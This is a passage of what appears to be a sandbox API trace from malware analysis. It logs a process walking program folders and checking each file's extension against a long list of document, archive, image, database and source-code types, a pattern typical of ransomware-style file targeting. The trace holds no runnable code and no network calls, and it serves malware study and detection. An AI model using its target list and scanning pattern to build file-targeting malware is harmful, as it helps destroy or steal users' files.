[0183.102] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".ai") returned 3 [0183.102] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0183.102] lstrlenW (lpString=".ai3") returned 4 [0183.102] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0183.102] lstrlenW (lpString=".ai4") returned 4 [0183.102] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".ai5") returned 4 [0183.103] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".ai6") returned 4 [0183.103] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".ai7") returned 4 [0183.103] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".ai8") returned 4 [0183.103] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".anim") returned 5 [0183.103] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1 [0183.103] lstrlenW (lpString=".arw") returned 4 [0183.103] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".as") returned 3 [0183.103] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0183.103] lstrlenW (lpString=".asa") returned 4 [0183.103] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0183.103] lstrlenW (lpString=".asc") returned 4 [0183.104] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".ascx") returned 5 [0183.104] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1 [0183.104] lstrlenW (lpString=".asm") returned 4 [0183.104] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".asmx") returned 5 [0183.104] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1 [0183.104] lstrlenW (lpString=".asp") returned 4 [0183.104] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".aspx") returned 5 [0183.104] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1 [0183.104] lstrlenW (lpString=".asr") returned 4 [0183.104] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".asx") returned 4 [0183.104] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".avi") returned 4 [0183.104] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".avs") returned 4 [0183.104] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".backup") returned 7 [0183.104] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1 [0183.104] lstrlenW (lpString=".bak") returned 4 [0183.104] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".bay") returned 4 [0183.104] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".bd") returned 3 [0183.104] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0183.104] lstrlenW (lpString=".bin") returned 4 [0183.104] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".bmp") returned 4 [0183.104] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0183.104] lstrlenW (lpString=".bz2") returned 4 [0183.104] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".c") returned 2 [0183.105] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.105] lstrlenW (lpString=".cdr") returned 4 [0183.105] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".cer") returned 4 [0183.105] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".cf") returned 3 [0183.105] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0183.105] lstrlenW (lpString=".cfc") returned 4 [0183.105] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".cfm") returned 4 [0183.105] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".cfml") returned 5 [0183.105] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1 [0183.105] lstrlenW (lpString=".cfu") returned 4 [0183.105] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".chm") returned 4 [0183.105] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".cin") returned 4 [0183.105] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".class") returned 6 [0183.105] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1 [0183.105] lstrlenW (lpString=".clx") returned 4 [0183.105] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0183.105] lstrlenW (lpString=".config") returned 7 [0183.105] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1 [0183.105] lstrlenW (lpString=".cpp") returned 4 [0183.105] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".cr2") returned 4 [0183.106] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".crt") returned 4 [0183.106] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".crw") returned 4 [0183.106] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".cs") returned 3 [0183.106] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0183.106] lstrlenW (lpString=".css") returned 4 [0183.106] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".csv") returned 4 [0183.106] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".cub") returned 4 [0183.106] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".dae") returned 4 [0183.106] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".dat") returned 4 [0183.106] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".db") returned 3 [0183.106] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0183.106] lstrlenW (lpString=".dbf") returned 4 [0183.106] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".dbx") returned 4 [0183.106] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".dc3") returned 4 [0183.106] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".dcm") returned 4 [0183.106] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".dcr") returned 4 [0183.106] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0183.106] lstrlenW (lpString=".der") returned 4 [0183.107] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dib") returned 4 [0183.107] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dic") returned 4 [0183.107] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dif") returned 4 [0183.107] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".divx") returned 5 [0183.107] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0183.107] lstrlenW (lpString=".djvu") returned 5 [0183.107] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0183.107] lstrlenW (lpString=".dng") returned 4 [0183.107] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".doc") returned 4 [0183.107] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".docm") returned 5 [0183.107] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0183.107] lstrlenW (lpString=".docx") returned 5 [0183.107] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0183.107] lstrlenW (lpString=".dot") returned 4 [0183.107] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dotm") returned 5 [0183.107] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0183.107] lstrlenW (lpString=".dotx") returned 5 [0183.107] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0183.107] lstrlenW (lpString=".dpx") returned 4 [0183.107] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dqy") returned 4 [0183.107] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dsn") returned 4 [0183.107] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0183.107] lstrlenW (lpString=".dt") returned 3 [0183.108] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0183.108] lstrlenW (lpString=".dtd") returned 4 [0183.108] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0183.108] lstrlenW (lpString=".dwg") returned 4 [0183.108] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0183.108] lstrlenW (lpString=".dwt") returned 4 [0183.108] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0183.108] lstrlenW (lpString=".dx") returned 3 [0183.108] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0183.108] lstrlenW (lpString=".dxf") returned 4 [0183.108] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0183.108] lstrlenW (lpString=".edml") returned 5 [0183.227] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0183.227] lstrlenW (lpString=".efd") returned 4 [0183.227] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0183.227] lstrlenW (lpString=".elf") returned 4 [0183.227] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0183.227] lstrlenW (lpString=".emf") returned 4 [0183.227] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0183.227] lstrlenW (lpString=".emz") returned 4 [0183.227] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0183.227] lstrlenW (lpString=".epf") returned 4 [0183.227] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0183.227] lstrlenW (lpString=".eps") returned 4 [0183.227] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0183.227] lstrlenW (lpString=".epsf") returned 5 [0183.227] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0183.227] lstrlenW (lpString=".epsp") returned 5 [0183.227] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0183.227] lstrlenW (lpString=".erf") returned 4 [0183.228] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".exr") returned 4 [0183.228] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".f4v") returned 4 [0183.228] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".fido") returned 5 [0183.228] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0183.228] lstrlenW (lpString=".flm") returned 4 [0183.228] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".flv") returned 4 [0183.228] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".frm") returned 4 [0183.228] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".fxg") returned 4 [0183.228] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".geo") returned 4 [0183.228] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".gif") returned 4 [0183.228] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".grs") returned 4 [0183.228] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".gz") returned 3 [0183.228] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0183.228] lstrlenW (lpString=".h") returned 2 [0183.228] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0183.228] lstrlenW (lpString=".hdr") returned 4 [0183.228] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0183.228] lstrlenW (lpString=".hpp") returned 4 [0183.229] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0183.229] lstrlenW (lpString=".hta") returned 4 [0183.229] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0183.229] lstrlenW (lpString=".htc") returned 4 [0183.229] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0183.229] lstrlenW (lpString=".htm") returned 4 [0183.229] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0183.229] lstrlenW (lpString="toastbeginupgradeth2.xml") returned 24 [0183.229] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0183.229] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0183.229] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0183.230] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0183.230] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0183.230] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0183.230] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR") returned 100 [0183.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0183.231] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0183.231] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xe4ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0183.232] lstrlenW (lpString="index.html") returned 10 [0183.232] lstrlenW (lpString=".1cd") returned 4 [0183.232] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".3ds") returned 4 [0183.232] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".3fr") returned 4 [0183.232] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".3g2") returned 4 [0183.232] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".3gp") returned 4 [0183.232] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".7z") returned 3 [0183.232] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0183.232] lstrlenW (lpString=".accda") returned 6 [0183.232] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0183.232] lstrlenW (lpString=".accdb") returned 6 [0183.232] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0183.232] lstrlenW (lpString=".accdc") returned 6 [0183.232] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0183.232] lstrlenW (lpString=".accde") returned 6 [0183.232] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0183.232] lstrlenW (lpString=".accdt") returned 6 [0183.232] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0183.232] lstrlenW (lpString=".accdw") returned 6 [0183.232] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0183.232] lstrlenW (lpString=".adb") returned 4 [0183.232] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".adp") returned 4 [0183.232] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0183.232] lstrlenW (lpString=".ai") returned 3 [0183.232] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0183.232] lstrlenW (lpString=".ai3") returned 4 [0183.232] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".ai4") returned 4 [0183.233] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".ai5") returned 4 [0183.233] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".ai6") returned 4 [0183.233] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".ai7") returned 4 [0183.233] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".ai8") returned 4 [0183.233] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".anim") returned 5 [0183.233] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0183.233] lstrlenW (lpString=".arw") returned 4 [0183.233] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".as") returned 3 [0183.233] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0183.233] lstrlenW (lpString=".asa") returned 4 [0183.233] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".asc") returned 4 [0183.233] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".ascx") returned 5 [0183.233] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0183.233] lstrlenW (lpString=".asm") returned 4 [0183.233] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".asmx") returned 5 [0183.233] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0183.233] lstrlenW (lpString=".asp") returned 4 [0183.233] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".aspx") returned 5 [0183.233] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0183.233] lstrlenW (lpString=".asr") returned 4 [0183.233] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0183.233] lstrlenW (lpString=".asx") returned 4 [0183.233] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".avi") returned 4 [0183.234] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".avs") returned 4 [0183.234] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".backup") returned 7 [0183.234] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0183.234] lstrlenW (lpString=".bak") returned 4 [0183.234] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".bay") returned 4 [0183.234] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".bd") returned 3 [0183.234] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0183.234] lstrlenW (lpString=".bin") returned 4 [0183.234] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".bmp") returned 4 [0183.234] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".bz2") returned 4 [0183.234] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".c") returned 2 [0183.234] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0183.234] lstrlenW (lpString=".cdr") returned 4 [0183.234] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".cer") returned 4 [0183.234] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".cf") returned 3 [0183.234] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0183.234] lstrlenW (lpString=".cfc") returned 4 [0183.234] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".cfm") returned 4 [0183.234] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0183.234] lstrlenW (lpString=".cfml") returned 5 [0183.234] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0183.234] lstrlenW (lpString=".cfu") returned 4 [0183.234] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".chm") returned 4 [0183.235] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".cin") returned 4 [0183.235] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".class") returned 6 [0183.235] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0183.235] lstrlenW (lpString=".clx") returned 4 [0183.235] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".config") returned 7 [0183.235] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0183.235] lstrlenW (lpString=".cpp") returned 4 [0183.235] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".cr2") returned 4 [0183.235] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".crt") returned 4 [0183.235] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".crw") returned 4 [0183.235] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".cs") returned 3 [0183.235] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0183.235] lstrlenW (lpString=".css") returned 4 [0183.235] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0183.235] lstrlenW (lpString=".csv") returned 4 [0183.236] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0183.236] lstrlenW (lpString=".cub") returned 4 [0183.236] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0183.236] lstrlenW (lpString=".dae") returned 4 [0183.236] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0183.236] lstrlenW (lpString=".dat") returned 4 [0183.236] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0183.236] lstrlenW (lpString=".db") returned 3 [0183.236] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0183.236] lstrlenW (lpString=".dbf") returned 4 [0183.236] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0183.236] lstrlenW (lpString=".dbx") returned 4 [0183.236] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0183.236] lstrlenW (lpString=".dc3") returned 4 [0183.237] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dcm") returned 4 [0183.237] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dcr") returned 4 [0183.237] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".der") returned 4 [0183.237] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dib") returned 4 [0183.237] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dic") returned 4 [0183.237] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dif") returned 4 [0183.237] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".divx") returned 5 [0183.237] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0183.237] lstrlenW (lpString=".djvu") returned 5 [0183.237] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0183.237] lstrlenW (lpString=".dng") returned 4 [0183.237] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".doc") returned 4 [0183.237] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".docm") returned 5 [0183.237] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0183.237] lstrlenW (lpString=".docx") returned 5 [0183.237] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0183.237] lstrlenW (lpString=".dot") returned 4 [0183.237] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dotm") returned 5 [0183.237] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0183.237] lstrlenW (lpString=".dotx") returned 5 [0183.237] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0183.237] lstrlenW (lpString=".dpx") returned 4 [0183.237] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0183.237] lstrlenW (lpString=".dqy") returned 4 [0183.238] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0183.238] lstrlenW (lpString=".dsn") returned 4 [0183.238] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0183.238] lstrlenW 